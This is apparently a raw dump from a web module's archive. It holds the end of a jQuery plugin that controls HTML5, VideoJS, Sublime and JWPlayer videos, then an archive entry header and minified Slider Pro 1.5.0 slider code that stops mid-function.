	if ( video.is( 'video' ) && video.hasClass( 'video-js' ) === false && video.hasClass( 'sublime' ) === false ) {
		return true;
	}

	return false;
};

HTML5Video.prototype._init = function() {
	var that = this;

	// Get a reference to the player
	this.player = this.$video[0];
	
	var checkVideoReady = setInterval(function() {
		if ( that.player.readyState === 4 ) {
			clearInterval( checkVideoReady );

			that.ready = true;
			that.trigger({ type: 'ready' });

			that.player.addEventListener( 'play', function() {
				if ( that.started === false ) {
					that.started = true;
					that.trigger({ type: 'start' });
				}

				that.state = 'playing';
				that.trigger({ type: 'play' });
			});
			
			that.player.addEventListener( 'pause', function() {
				that.state = 'paused';
				that.trigger({ type: 'pause' });
			});
			
			that.player.addEventListener( 'ended', function() {
				that.state = 'ended';
				that.trigger({ type: 'ended' });
			});
		}
	}, 100 );
};

HTML5Video.prototype.play = function() {
	var that = this;

	if ( this.ready === true ) {
		this.player.play();
	} else {
		var timer = setInterval(function() {
			if ( that.ready === true ) {
				clearInterval( timer );
				that.player.play();
			}
		}, 100 );
	}
};

HTML5Video.prototype.pause = function() {
	this.player.pause();
};

HTML5Video.prototype.stop = function() {
	this.player.currentTime = 0;
	this.player.pause();
	this.state = 'stopped';
};

HTML5Video.prototype.replay = function() {
	this.player.currentTime = 0;
	this.player.play();
};

// VideoJS video
var VideoJSVideo = function( video ) {
	Video.call( this, video );
};

VideoJSVideo.prototype = new Video();
VideoJSVideo.prototype.constructor = VideoJSVideo;
$.VideoController.addPlayer( 'VideoJSVideo', VideoJSVideo );

VideoJSVideo.isType = function( video ) {
	if ( ( typeof video.attr( 'data-videojs-id' ) !== 'undefined' || video.hasClass( 'video-js' ) ) && typeof videojs !== 'undefined' ) {
		return true;
	}

	return false;
};

VideoJSVideo.prototype._init = function() {
	var that = this,
		videoID = this.$video.hasClass( 'video-js' ) ? this.$video.attr( 'id' ) : this.$video.attr( 'data-videojs-id' );
	
	this.player = videojs( videoID );

	this.player.ready(function() {
		that.ready = true;
		that.trigger({ type: 'ready' });

		that.player.on( 'play', function() {
			if ( that.started === false ) {
				that.started = true;
				that.trigger({ type: 'start' });
			}

			that.state = 'playing';
			that.trigger({ type: 'play' });
		});
		
		that.player.on( 'pause', function() {
			that.state = 'paused';
			that.trigger({ type: 'pause' });
		});
		
		that.player.on( 'ended', function() {
			that.state = 'ended';
			that.trigger({ type: 'ended' });
		});
	});
};

VideoJSVideo.prototype.play = function() {
	this.player.play();
};

VideoJSVideo.prototype.pause = function() {
	this.player.pause();
};

VideoJSVideo.prototype.stop = function() {
	this.player.currentTime( 0 );
	this.player.pause();
	this.state = 'stopped';
};

VideoJSVideo.prototype.replay = function() {
	this.player.currentTime( 0 );
	this.player.play();
};

// Sublime video
var SublimeVideo = function( video ) {
	Video.call( this, video );
};

SublimeVideo.prototype = new Video();
SublimeVideo.prototype.constructor = SublimeVideo;
$.VideoController.addPlayer( 'SublimeVideo', SublimeVideo );

SublimeVideo.isType = function( video ) {
	if ( video.hasClass( 'sublime' ) && typeof sublime !== 'undefined' ) {
		return true;
	}

	return false;
};

SublimeVideo.prototype._init = function() {
	var that = this;

	sublime.ready(function() {
		// Get a reference to the player
		that.player = sublime.player( that.$video.attr( 'id' ) );

		that.ready = true;
		that.trigger({ type: 'ready' });

		that.player.on( 'play', function() {
			if ( that.started === false ) {
				that.started = true;
				that.trigger({ type: 'start' });
			}

			that.state = 'playing';
			that.trigger({ type: 'play' });
		});

		that.player.on( 'pause', function() {
			that.state = 'paused';
			that.trigger({ type: 'pause' });
		});

		that.player.on( 'stop', function() {
			that.state = 'stopped';
			that.trigger({ type: 'stop' });
		});

		that.player.on( 'end', function() {
			that.state = 'ended';
			that.trigger({ type: 'ended' });
		});
	});
};

SublimeVideo.prototype.play = function() {
	this.player.play();
};

SublimeVideo.prototype.pause = function() {
	this.player.pause();
};

SublimeVideo.prototype.stop = function() {
	this.player.stop();
};

SublimeVideo.prototype.replay = function() {
	this.player.stop();
	this.player.play();
};

// JWPlayer video
var JWPlayerVideo = function( video ) {
	Video.call( this, video );
};

JWPlayerVideo.prototype = new Video();
JWPlayerVideo.prototype.constructor = JWPlayerVideo;
$.VideoController.addPlayer( 'JWPlayerVideo', JWPlayerVideo );

JWPlayerVideo.isType = function( video ) {
	if ( ( typeof video.attr( 'data-jwplayer-id' ) !== 'undefined' || video.hasClass( 'jwplayer' ) || video.find( "object[data*='jwplayer']" ).length !== 0 ) &&
		typeof jwplayer !== 'undefined') {
		return true;
	}

	return false;
};

JWPlayerVideo.prototype._init = function() {
	var that = this,
		videoID;

	if ( this.$video.hasClass( 'jwplayer' ) ) {
		videoID = this.$video.attr( 'id' );
	} else if ( typeof this.$video.attr( 'data-jwplayer-id' ) !== 'undefined' ) {
		videoID = this.$video.attr( 'data-jwplayer-id');
	} else if ( this.$video.find( "object[data*='jwplayer']" ).length !== 0 ) {
		videoID = this.$video.find( 'object' ).attr( 'id' );
	}

	// Get a reference to the player
	this.player = jwplayer( videoID );

	this.player.onReady(function() {
		that.ready = true;
		that.trigger({ type: 'ready' });
	
		that.player.onPlay(function() {
			if ( that.started === false ) {
				that.started = true;
				that.trigger({ type: 'start' });
			}

			that.state = 'playing';
			that.trigger({ type: 'play' });
		});

		that.player.onPause(function() {
			that.state = 'paused';
			that.trigger({ type: 'pause' });
		});
		
		that.player.onComplete(function() {
			that.state = 'ended';
			that.trigger({ type: 'ended' });
		});
	});
};

JWPlayerVideo.prototype.play = function() {
	this.player.play( true );
};

JWPlayerVideo.prototype.pause = function() {
	this.player.pause( true );
};

JWPlayerVideo.prototype.stop = function() {
	this.player.stop();
	this.state = 'stopped';
};

JWPlayerVideo.prototype.replay = function() {
	this.player.seek( 0 );
	this.player.play( true );
};

})( jQuery );
PK!ݫ�r��=mod_ap_smart_layerslider/assets/js/jquery.sliderPro.packed.jsnu&1i�/*!
*  - v1.5.0
* Homepage: http://bqworks.com/slider-pro/
* Author: bqworks
* Author URL: http://bqworks.com/
*/
!function(a,b){"use strict";b.SliderPro={modules:[],addModule:function(a,c){this.modules.push(a),b.extend(d.prototype,c)}};var c=b.SliderPro.namespace="SliderPro",d=function(a,c){this.instance=a,this.$slider=b(this.instance),this.$slides=null,this.$slidesMask=null,this.$slidesContainer=null,this.slides=[],this.slidesOrder=[],this.options=c,this.settings={},this.originalSettings={},this.originalGotoSlide=null,this.selectedSlideIndex=0,this.previousSlideIndex=0,this.middleSlidePosition=0,this.supportedAnimation=null,this.vendorPrefix=null,this.transitionEvent=null,this.positionProperty=null,this.sizeProperty=null,this.isIE=null,this.slidesPosition=0,this.slidesSize=0,this.averageSlideSize=0,this.slideWidth=0,this.slideHeight=0,this.previousSlideWidth=0,this.previousSlideHeight=0,this.previousWindowWidth=0,this.previousWindowHeight=0,this.allowResize=!0,this.uniqueId=(new Date).valueOf(),this.breakpoints=[],this.currentBreakpoint=-1,this.shuffledIndexes=[],this._init()};d.prototype={_init:function(){var d=this;this.supportedAnimation=f.getSupportedAnimation(),this.vendorPrefix=f.getVendorPrefix(),this.transitionEvent=f.getTransitionEvent(),this.isIE=f.checkIE(),this.$slider.removeClass("sp-no-js"),a.navigator.userAgent.match(/(iPad|iPhone|iPod)/g)&&this.$slider.addClass("ios");var e=/(msie) ([\w.]+)/,g=e.exec(a.navigator.userAgent.toLowerCase());this.isIE&&this.$slider.addClass("ie"),null!==g&&this.$slider.addClass("ie"+parseInt(g[2],10)),this.$slidesContainer=b('<div class="sp-slides-container"></div>').appendTo(this.$slider),this.$slidesMask=b('<div class="sp-mask"></div>').appendTo(this.$slidesContainer),this.$slides=this.$slider.find(".sp-slides").appendTo(this.$slidesMask),this.$slider.find(".sp-slide").appendTo(this.$slides);var h=b.SliderPro.modules;if("undefined"!=typeof h)for(var i=0;i<h.length;i++){var j=h[i].substring(0,1).toLowerCase()+h[i].substring(1)+"Defaults";"undefined"!=typeof this[j]&&b.extend(this.defaults,this[j])}if(this.settings=b.extend({},this.defaults,this.options),"undefined"!=typeof h)for(var k=0;k<h.length;k++)"undefined"!=typeof this["init"+h[k]]&&this["init"+h[k]]();if(this.originalSettings=b.extend({},this.settings),this.originalGotoSlide=this.gotoSlide,null!==this.settings.breakpoints){for(var l in this.settings.breakpoints)this.breakpoints.push({size:parseInt(l,10),properties:this.settings.breakpoints[l]});this.breakpoints=this.breakpoints.sort(function(a,b){return a.size>=b.size?1:-1})}if(this.selectedSlideIndex=this.settings.startSlide,this.settings.shuffle===!0){var m=this.$slides.find(".sp-slide"),n=[];m.each(function(a){d.shuffledIndexes.push(a)});for(var o=this.shuffledIndexes.length-1;o>0;o--){var p=Math.floor(Math.random()*(o+1)),q=this.shuffledIndexes[o];this.shuffledIndexes[o]=this.shuffledIndexes[p],this.shuffledIndexes[p]=q}b.each(this.shuffledIndexes,function(a,b){n.push(m[b])}),this.$slides.empty().append(n)}b(a).on("resize."+this.uniqueId+"."+c,function(){var c=b(a).width(),e=b(a).height();d.allowResize===!1||d.previousWindowWidth===c&&d.previousWindowHeight===e||(d.previousWindowWidth=c,d.previousWindowHeight=e,d.allowResize=!1,setTimeout(function(){d.resize(),d.allowResize=!0},200))}),this.on("update."+c,function(){d.previousSlideWidth=0,d.resize()}),this.update(),this.$slides.find(".sp-slide").eq(this.selectedSlideIndex).addClass("sp-selected"),this.trigger({type:"init"}),b.isFunction(this.settings.init)&&this.settings.init.call(this,{type:"init"})},update:function(){var a=this;"horizontal"===this.settings.orientation?(this.$slider.removeClass("sp-vertical").addClass("sp-horizontal"),this.$slider.css({height:"","max-height":""}),this.$slides.find(".sp-slide").css("top","")):"vertical"===this.settings.orientation&&(this.$slider.removeClass("sp-horizontal").addClass("sp-vertical"),this.$slides.find(".sp-slide").css("left","")),this.settings.rightToLeft===!0?this.$slider.addClass("sp-rtl"):this.$slider.removeClass("sp-rtl"),this.positionProperty="horizontal"===this.settings.orientation?"left":"top",this.sizeProperty="horizontal"===this.settings.orientation?"width":"height",this.gotoSlide=this.originalGotoSlide;for(var d=this.slides.length-1;d>=0;d--)if(0===this.$slider.find('.sp-slide[data-index="'+d+'"]').length){var e=this.slides[d];e.off("imagesLoaded."+c),e.destroy(),this.slides.splice(d,1)}this.slidesOrder.length=0,this.$slider.find(".sp-slide").each(function(c){var d=b(this);"undefined"==typeof d.attr("data-init")?a._createSlide(c,d):a.slides[c].setIndex(c),a.slidesOrder.push(c)}),this.middleSlidePosition=parseInt((a.slidesOrder.length-1)/2,10),this.settings.loop===!0&&this._updateSlidesOrder(),this.trigger({type:"update"}),b.isFunction(this.settings.update)&&this.settings.update.call(this,{type:"update"})},_createSlide:function(a,d){var f=this,g=new e(b(d),a,this.settings);this.slides.splice(a,0,g),g.on("imagesLoaded."+c,function(a){f.settings.autoSlideSize===!0&&(f.$slides.hasClass("sp-animated")===!1&&f._resetSlidesPosition(),f._calculateSlidesSize()),f.settings.autoHeight===!0&&a.index===f.selectedSlideIndex&&f._resizeHeightTo(g.getSize().height)})},_updateSlidesOrder:function(){var a,c,d=b.inArray(this.selectedSlideIndex,this.slidesOrder)-this.middleSlidePosition;if(0>d)for(a=this.slidesOrder.splice(d,Math.abs(d)),c=a.length-1;c>=0;c--)this.slidesOrder.unshift(a[c]);else if(d>0)for(a=this.slidesOrder.splice(0,d),c=0;c<=a.length-1;c++)this.slidesOrder.push(a[c])},_updateSlidesPosition:function(){var a,b,c,d,e,f=parseInt(this.$slides.find(".sp-slide").eq(this.selectedSlideIndex).css(this.positionProperty),10),g=f;if(this.settings.autoSlideSize===!0)if(this.settings.rightToLeft===!0&&"horizontal"===this.settings.orientation){for(c=this.middleSlidePosition;c>=0;c--)a=this.getSlideAt(this.slidesOrder[c]),b=a.$slide,b.css(this.positionProperty,g),g=parseInt(b.css(this.positionProperty),10)+a.getSize()[this.sizeProperty]+this.settings.slideDistance;for(g=f,c=this.middleSlidePosition+1;c<this.slidesOrder.length;c++)a=this.getSlideAt(this.slidesOrder[c]),b=a.$slide,b.css(this.positionProperty,g-(a.getSize()[this.sizeProperty]+this.settings.slideDistance)),g=parseInt(b.css(this.positionProperty),10)}else{for(c=this.middleSlidePosition-1;c>=0;c--)a=this.getSlideAt(this.slidesOrder[c]),b=a.$slide,b.css(this.positionProperty,g-(a.getSize()[this.sizeProperty]+this.settings.slideDistance)),g=parseInt(b.css(this.positionProperty),10);for(g=f,c=this.middleSlidePosition;c<this.slidesOrder.length;c++)a=this.getSlideAt(this.slidesOrder[c]),b=a.$slide,b.css(this.positionProperty,g),g=parseInt(b.css(this.positionProperty),10)+a.getSize()[this.sizeProperty]+this.settings.slideDistance}else for(d=this.settings.rightToLeft===!0&&"horizontal"===this.settings.orientation?-1:1,e="horizontal"===this.settings.orientation?this.slideWidth:this.slideHeight,c=0;c<this.slidesOrder.length;c++)b=this.$slides.find(".sp-slide").eq(this.slidesOrder[c]),b.css(this.positionProperty,f+d*(c-this.middleSlidePosition)*(e+this.settings.slideDistance))},_resetSlidesPosition:function(){var a,b,c,d,e,f,g=0;if(this.settings.autoSlideSize===!0){if(this.settings.rightToLeft===!0&&"horizontal"===this.settings.orientation)for(c=0;c<this.slidesOrder.length;c++)a=this.getSlideAt(this.slidesOrder[c]),b=a.$slide,b.css(this.positionProperty,g-(a.getSize()[this.sizeProperty]+this.settings.slideDistance)),g=parseInt(b.css(this.positionProperty),10);else for(c=0;c<this.slidesOrder.length;c++)a=this.getSlideAt(this.slidesOrder[c]),b=a.$slide,b.css(this.positionProperty,g),g=parseInt(b.css(this.positionProperty),10)+a.getSize()[this.sizeProperty]+this.settings.slideDistance;d=this.getSlideAt(this.selectedSlideIndex).getSize()[this.sizeProperty]}else{for(e=(this.settings.rightToLeft===!0&&"horizontal"===this.settings.orientation)==!0?-1:1,f="horizontal"===this.settings.orientation?this.slideWidth:this.slideHeight,c=0;c<this.slidesOrder.length;c++)b=this.$slides.find(".sp-slide").eq(this.slidesOrder[c]),b.css(this.positionProperty,e*c*(f+this.settings.slideDistance));d=f}var h=this.settings.centerSelectedSlide===!0&&"auto"!==this.settings.visibleSize?Math.round((parseInt(this.$slidesMask.css(this.sizeProperty),10)-d)/2):0,i=-parseInt(this.$slides.find(".sp-slide").eq(this.selectedSlideIndex).css(this.positionProperty),10)+h;this._moveTo(i,!0)},_calculateSlidesSize:function(){if(this.settings.autoSlideSize===!0){var a=this.$slides.find(".sp-slide").eq(this.slidesOrder[0]),b=parseInt(a.css(this.positionProperty),10),c=this.$slides.find(".sp-slide").eq(this.slidesOrder[this.slidesOrder.length-1]),d=parseInt(c.css(this.positionProperty),10)+(this.settings.rightToLeft===!0&&"horizontal"===this.settings.orientation?-1:1)*parseInt(c.css(this.sizeProperty),10);this.slidesSize=Math.abs(d-b),this.averageSlideSize=Math.round(this.slidesSize/this.slides.length)}else this.slidesSize=(("horizontal"===this.settings.orientation?this.slideWidth:this.slideHeight)+this.settings.slideDistance)*this.slides.length-this.settings.slideDistance,this.averageSlideSize="horizontal"===this.settings.orientation?this.slideWidth:this.slideHeight},resize:function(){var c=this;if(null!==this.settings.breakpoints&&this.breakpoints.length>0)if(b(a).width()>this.breakpoints[this.breakpoints.length-1].size&&-1!==this.currentBreakpoint)this.currentBreakpoint=-1,this._setProperties(this.originalSettings,!1);else for(var d=0,e=this.breakpoints.length;e>d;d++)if(b(a).width()<=this.breakpoints[d].size){if(this.currentBreakpoint!==this.breakpoints[d].size){var f={type:"breakpointReach",size:this.breakpoints[d].size,settings:this.breakpoints[d].properties};this.trigger(f),b.isFunction(this.settings.breakpointReach)&&this.settings.breakpointReach.call(this,f),this.currentBreakpoint=this.breakpoints[d].size;var g=b.extend({},this.originalSettings,this.breakpoints[d].properties);return void this._setProperties(g,!1)}break}this.settings.responsive===!0?"fullWidth"!==this.settings.forceSize&&"fullWindow"!==this.settings.forceSize||"auto"!==this.settings.visibleSize&&("auto"===this.settings.visibleSize||"vertical"!==this.settings.orientation)?this.$slider.css({width:"100%","max-width":this.settings.width,marginLeft:""}):(this.$slider.css("margin",0),this.$slider.css({width:b(a).width(),"max-width":"",marginLeft:-this.$slider.offset().left})):this.$slider.css({width:this.settings.width}),-1===this.settings.aspectRatio&&(this.settings.aspectRatio=this.settings.width/this.settings.height),this.slideWidth=this.$slider.width(),"fullWindow"===this.settings.forceSize?this.slideHeight=b(a).height():this.slideHeight=isNaN(this.settings.aspectRatio)?this.settings.height:this.slideWidth/this.settings.aspectRatio,(this.previousSlideWidth!==this.slideWidth||this.previousSlideHeight!==this.slideHeight||"auto"!==this.settings.visibleSize||this.$slider.outerWidth()>this.$slider.parent().width()||this.$slider.width()!==this.$slidesMask.width())&&(this.previousSlideWidth=this.slideWidth,this.previousSlideHeight=this.slideHeight,this._resizeSlides(),this.$slidesMask.css({width:this.slideWidth,height:this.slideHeight}),this.settings.autoHeight===!0?setTimeout(function(){c._resizeHeight()},1):this.$slidesMask.css(this.vendorPrefix+"transition",""),"auto"!==this.settings.visibleSize&&("horizontal"===this.settings.orientation?("fullWidth"===this.settings.forceSize||"fullWindow"===this.settings.forceSize?(this.$slider.css("margin",0),this.$slider.css({width:b(a).width(),"max-width":"",marginLeft:-this.$slider.offset().left})):this.$slider.css({width:this.settings.visibleSize,"max-width":"100%",marginLeft:0}),this.$slidesMask.css("width",this.$slider.width())):("fullWindow"===this.settings.forceSize?this.$slider.css({height:b(a).height(),"max-height":""}):this.$slider.css({height:this.settings.visibleSize,"max-height":"100%"}),this.$slidesMask.css("height",this.$slider.height()))),this._resetSlidesPosition(),this._calculateSlidesSize(),this.trigger({type:"sliderResize"}),b.isFunction(this.settings.sliderResize)&&this.settings.sliderResize.call(this,{type:"sliderResize"}))},_resizeSlides:function(){var a=this.slideWidth,c=this.slideHeight;this.settings.autoSlideSize===!0?"horizontal"===this.settings.orientation?a="auto":"vertical"===this.settings.orientation&&(c="auto"):this.settings.autoHeight===!0&&(c="auto"),b.each(this.slides,function(b,d){d.setSize(a,c)})},_resizeHeight:function(){var a=this.getSlideAt(this.selectedSlideIndex);this._resizeHeightTo(a.getSize().height)},gotoSlide:function(a){if(a!==this.selectedSlideIndex&&"undefined"!=typeof this.slides[a]){var c=this;this.previousSlideIndex=this.selectedSlideIndex,this.selectedSlideIndex=a,this.$slides.find(".sp-selected").removeClass("sp-selected"),this.$slides.find(".sp-slide").eq(this.selectedSlideIndex).addClass("sp-selected"),this.settings.loop===!0&&(this._updateSlidesOrder(),this._updateSlidesPosition()),this.settings.autoHeight===!0&&this._resizeHeight();var d=this.settings.centerSelectedSlide===!0&&"auto"!==this.settings.visibleSize?Math.round((parseInt(this.$slidesMask.css(this.sizeProperty),10)-this.getSlideAt(this.selectedSlideIndex).getSize()[this.sizeProperty])/2):0,e=-parseInt(this.$slides.find(".sp-slide").eq(this.selectedSlideIndex).css(this.positionProperty),10)+d;this._moveTo(e,!1,function(){c._resetSlidesPosition(),c.trigger({type:"gotoSlideComplete",index:a,previousIndex:c.previousSlideIndex}),b.isFunction(c.settings.gotoSlideComplete)&&c.settings.gotoSlideComplete.call(c,{type:"gotoSlideComplete",index:a,previousIndex:c.previousSlideIndex})}),this.trigger({type:"gotoSlide",index:a,previousIndex:this.previousSlideIndex}),b.isFunction(this.settings.gotoSlide)&&this.settings.gotoSlide.call(this,{type:"gotoSlide",index:a,previousIndex:this.previousSlideIndex})}},nextSlide:function(){var a=this.selectedSlideIndex>=this.getTotalSlides()-1?0:this.selectedSlideIndex+1;this.gotoSlide(a)},previousSlide:function(){var a=this.selectedSlideIndex<=0?this.getTotalSlides()-1:this.selectedSlideIndex-1;this.gotoSlide(a)},_moveTo:function(a,b,c){var d=this,e={};if(a!==this.slidesPosition)if(this.slidesPosition=a,"css-3d"!==this.supportedAnimation&&"css-2d"!==this.supportedAnimation||this.isIE!==!1)e["margin-"+this.positionProperty]=a,"undefined"!=typeof b&&b===!0?this.$slides.css(e):(this.$slides.addClass("sp-animated"),this.$slides.animate(e,this.settings.slideAnimationDuration,function(){d.$slides.removeClass("sp-animated"),"function"==typeof c&&c()}));else{var f,g="horizontal"===this.settings.orientation?a:0,h="horizontal"===this.settings.orientation?0:a;"css-3d"===this.supportedAnimation?e[this.vendorPrefix+"transform"]="translate3d("+g+"px, "+h+"px, 0)":e[this.vendorPrefix+"transform"]="translate("+g+"px, "+h+"px)","undefined"!=typeof b&&b===!0?f="":(this.$slides.addClass("sp-animated"),f=this.vendorPrefix+"transform "+this.settings.slideAnimationDuration/1e3+"s",this.$slides.on(this.transitionEvent,function(a){a.target===a.currentTarget&&(d.$slides.off(d.transitionEvent),d.$slides.removeClass("sp-animated"),"function"==typeof c&&c())})),e[this.vendorPrefix+"transition"]=f,this.$slides.css(e)}},_stopMovement:function(){var a={};if("css-3d"!==this.supportedAnimation&&"css-2d"!==this.supportedAnimation||this.isIE!==!1)this.$slides.stop(),this.slidesPosition=parseInt(this.$slides.css("margin-"+this.positionProperty),10);else{var b=this.$slides.css(this.vendorPrefix+"transform"),c=-1!==b.indexOf("matrix3d")?"matrix3d":"matrix",d=b.replace(c,"").match(/-?[0-9\.]+/g),e="matrix3d"===c?parseInt(d[12],10):parseInt(d[4],10),f="matrix3d"===c?parseInt(d[13],10):parseInt(d[5],10);"css-3d"===this.supportedAnimation?a[this.vendorPrefix+"transform"]="translate3d("+e+"px, "+f+"px, 0)":a[this.vendorPrefix+"transform"]="translate("+e+"px, "+f+"px)",a[this.vendorPrefix+"transition"]="",this.$slides.css(a),this.$slides.off(this.transitionEvent),this.slidesPosition="horizontal"===this.settings.orientation?e:f}this.$slides.removeClass("sp-animated")},_resizeHeightTo:function(a){var c=this,d={height:a};"css-3d"===this.supportedAnimation||"css-2d"===this.supportedAnimation?(d[this.vendorPrefix+"transition"]="height "+this.settings.heightAnimationDuration/1e3+"s",this.$slidesMask.off(this.transitionEvent),this.$slidesMask.on(this.transitionEvent,function(a){a.target===a.currentTarget&&(c.$slidesMask.off(c.transitionEvent),c.trigger({type:"resizeHeightComplete"}),b.isFunction(c.settings.resizeHeightComplete)&&c.settings.resizeHeightComplete.call(c,{type:"resizeHeightComplete"}))}),this.$slidesMask.css(d)):this.$slidesMask.stop().animate(d,this.settings.heightAnimationDuration,function(a){c.trigger({type:"resizeHeightComplete"}),b.isFunction(c.settings.resizeHeightComplete)&&c.settings.resizeHeightComplete.call(c,{type:"resizeHeightComplete"})})},destroy:function(){this.$slider.removeData("sliderPro"),this.$slider.removeAttr("style"),this.$slides.removeAttr("style"),this.off("update."+c),b(a).off("resize."+this.uniqueId+"."+c);var d=b.SliderPro.modules;if("undefined"!=typeof d)for(var e=0;e<d.length;e++)"undefined"!=typeof this["destroy"+d[e]]&&this["destroy"+d[e]]();b.each(this.slides,function(a,b){b.destroy()}),this.slides.length=0,this.$slides.prependTo(this.$slider),this.$slidesContainer.remove()},_setProperties:function(a,b){for(var c in a)this.settings[c]=a[c],b!==!1&&(this.originalSettings[c]=a[c]);this.update()},on:function(a,b){return this.$slider.on(a,b)},off:function(a){return this.$slider.off(a)},trigger:function(a){return this.$slider.triggerHandler(a)},getSlideAt:function(a){return this.slides[a]},getSelectedSlide:function(){return this.selectedSlideIndex},getTotalSlides:function(){return this.slides.length},defaults:{width:500,height:300,responsive:!0,aspectRatio:-1,imageScaleMode:"cover",centerImage:!0,allowScaleUp:!0,autoHeight:!1,autoSlideSize:!1,startSlide:0,shuffle:!1,orientation:"horizontal",forceSize:"none",loop:!0,slideDistance:10,slideAnimationDuration:700,heightAnimationDuration:700,visibleSize:"auto",centerSelectedSlide:!0,rightToLeft:!1,breakpoints:null,init:function(){},update:function(){},sliderResize:function(){},gotoSlide:function(){},gotoSlideComplete:function(){},resizeHeightComplete:function(){},breakpointReach:function(){}}};var e=function(a,b,c){this.$slide=a,this.$mainImage=null,this.$imageContainer=null,this.hasMainImage=!1,this.isMainImageLoaded=!1,this.isMainImageLoading=!1,this.hasImages=!1,this.areImagesLoaded=!1,this.areImagesLoading=!1,this.width=0,this.height=0,this.settings=c,this.setIndex(b),this._init()};e.prototype={_init:function(){this.$slide.attr("data-init",!0),this.$mainImage=0!==this.$slide.find(".sp-image").length?this.$slide.find(".sp-image"):null,null!==this.$mainImage&&(this.hasMainImage=!0,this.$imageContainer=b('<div class="sp-image-container"></div>').prependTo(this.$slide),0!==this.$mainImage.parent("a").length?this.$mainImage.parent("a").appendTo(this.$imageContainer):this.$mainImage.appendTo(this.$imageContainer)),this.hasImages=0!==this.$slide.find("img").length?!0:!1},setSize:function(a,b){this.width=a,this.height=b,this.$slide.css({width:this.width,height:this.height}),this.hasMainImage===!0&&(this.$imageContainer.css({width:this.settings.width,height:this.settings.height}),"undefined"==typeof this.$mainImage.attr("data-src")&&this.resizeMainImage())},getSize:function(){var a,b=this;if(this.hasImages===!0&&this.areImagesLoaded===!1&&this.areImagesLoading===!1){this.areImagesLoading=!0;var d=f.checkImagesStatus(this.$slide);if("complete"!==d)return f.checkImagesComplete(this.$slide,function(){b.areImagesLoaded=!0,b.areImagesLoading=!1,b.trigger({type:"imagesLoaded."+c,index:b.index})}),{width:this.settings.width,height:this.settings.height}}return a=this.calculateSize(),{width:a.width,height:a.height}},calculateSize:function(){var a=this.$slide.width(),c=this.$slide.height();return this.$slide.children().each(function(d,e){var f=b(e);if(f.is(":hidden")!==!0){var g=e.getBoundingClientRect(),h=f.position().top+(g.bottom-g.top),i=f.position().left+(g.right-g.left);h>c&&(c=h),i>a&&(a=i)}}),{width:a,height:c}},resizeMainImage:function(a){var b=this;return a===!0&&(this.isMainImageLoaded=!1,this.isMainImageLoading=!1),this.isMainImageLoaded===!1&&this.isMainImageLoading===!1?(this.isMainImageLoading=!0,void f.checkImagesComplete(this.$mainImage,function(){b.isMainImageLoaded=!0,b.isMainImageLoading=!1,b.resizeMainImage(),b.trigger({type:"imagesLoaded."+c,index:b.index})})):(this.$imageContainer.css({width:this.width,height:this.height}),this.settings.allowScaleUp===!1&&(this.$mainImage.css({width:"",height:"",maxWidth:"",maxHeight:""}),this.$mainImage.css({maxWidth:this.$mainImage.width(),maxHeight:this.$mainImage.height()})),void(this.settings.autoSlideSize===!0?"horizontal"===this.settings.orientation?(this.$mainImage.css({width:"auto",height:"100%"}),this.$slide.css("width",this.$mainImage.width())):"vertical"===this.settings.orientation&&(this.$mainImage.css({width:"100%",height:"auto"}),this.$slide.css("height",this.$mainImage.height())):this.settings.autoHeight===!0?this.$mainImage.css({width:"100%",height:"auto"}):("cover"===this.settings.imageScaleMode?this.$mainImage.width()/this.$mainImage.height()<=this.$slide.width()/this.$slide.height()?this.$mainImage.css({width:"100%",height:"auto"}):this.$mainImage.css({width:"auto",height:"100%"}):"contain"===this.settings.imageScaleMode?this.$mainImage.width()/this.$mainImage.height()>=this.$slide.width()/this.$slide.height()?this.$mainImage.css({width:"100%",height:"auto"}):this.$mainImage.css({width:"auto",height:"100%"}):"exact"===this.settings.imageScaleMode&&this.$mainImage.css({width:"100%",height:"100%"}),this.settings.centerImage===!0&&this.$mainImage.css({marginLeft:.5*(this.$imageContainer.width()-this.$mainImage.width()),marginTop:.5*(this.$imageContainer.height()-this.$mainImage.height())}))))},destroy:function(){this.$slide.removeAttr("style"),this.$slide.removeAttr("data-init"),this.$slide.removeAttr("data-index"),this.$slide.removeAttr("data-loaded"),this.hasMainImage===!0&&(this.$slide.find(".sp-image").removeAttr("style").appendTo(this.$slide),this.$slide.find(".sp-image-container").remove())},getIndex:function(){return this.index},setIndex:function(a){this.index=a,this.$slide.attr("data-index",this.index)},on:function(a,b){return this.$slide.on(a,b)},off:function(a){return this.$slide.off(a)},trigger:function(a){return this.$slide.triggerHandler(a)}},a.SliderPro=d,a.SliderProSlide=e,b.fn.sliderPro=function(a){var c=Array.prototype.slice.call(arguments,1);return this.each(function(){if("undefined"==typeof b(this).data("sliderPro")){var e=new d(this,a);b(this).data("sliderPro",e)}else if("undefined"!=typeof a){var f=b(this).data("sliderPro");if("function"==typeof f[a])f[a].apply(f,c);else if("undefined"!=typeof f.settings[a]){var g={};g[a]=c[0],f._setProperties(g)}else"object"==typeof a?f._setProperties(a):b.error(a+" does not exist in sliderPro.")}})};var f={supportedAnimation:null,vendorPrefix:null,transitionEvent:null,isIE:null,getSupportedAnimation:function(){if(null!==this.supportedAnimation)return this.supportedAnimation;var a=document.body||document.documentElement,b=a.style,c="undefined"!=typeof b.transition||"undefined"!=typeof b.WebkitTransition||"undefined"!=typeof b.MozTransition||"undefined"!=typeof b.OTransition;if(c===!0){var d=document.createElement("div");if(("undefined"!=typeof d.style.WebkitPerspective||"undefined"!=typeof d.style.perspective)&&(this.supportedAnimation="css-3d"),"css-3d"===this.supportedAnimation&&"undefined"!=typeof d.styleWebkitPerspective){var e=document.createElement("style");e.textContent="@media (transform-3d),(-webkit-transform-3d){#test-3d{left:9px;position:absolute;height:5px;margin:0;padding:0;border:0;}}",document.getElementsByTagName("head")[0].appendChild(e),d.id="test-3d",document.body.appendChild(d),(9!==d.offsetLeft||5!==d.offsetHeight)&&(this.supportedAnimation=null),e.parentNode.removeChild(e),d.parentNode.removeChild(d)}null!==this.supportedAnimation||"undefined"==typeof d.style["-webkit-transform"]&&"undefined"==typeof d.style.transform||(this.supportedAnimation="css-2d")}else this.supportedAnimation="javascript";return this.supportedAnimation},getVendorPrefix:function(){if(null!==this.vendorPrefix)return this.vendorPrefix;var a=document.createElement("div"),b=["Webkit","Moz","ms","O"];if("transform"in a.style)return this.vendorPrefix="",this.vendorPrefix;for(var c=0;c<b.length;c++)if(b[c]+"Transform"in a.style){this.vendorPrefix="-"+b[c].toLowerCase()+"-";break}return this.vendorPrefix},getTransitionEvent:function(){if(null!==this.transitionEvent)return this.transitionEvent;var 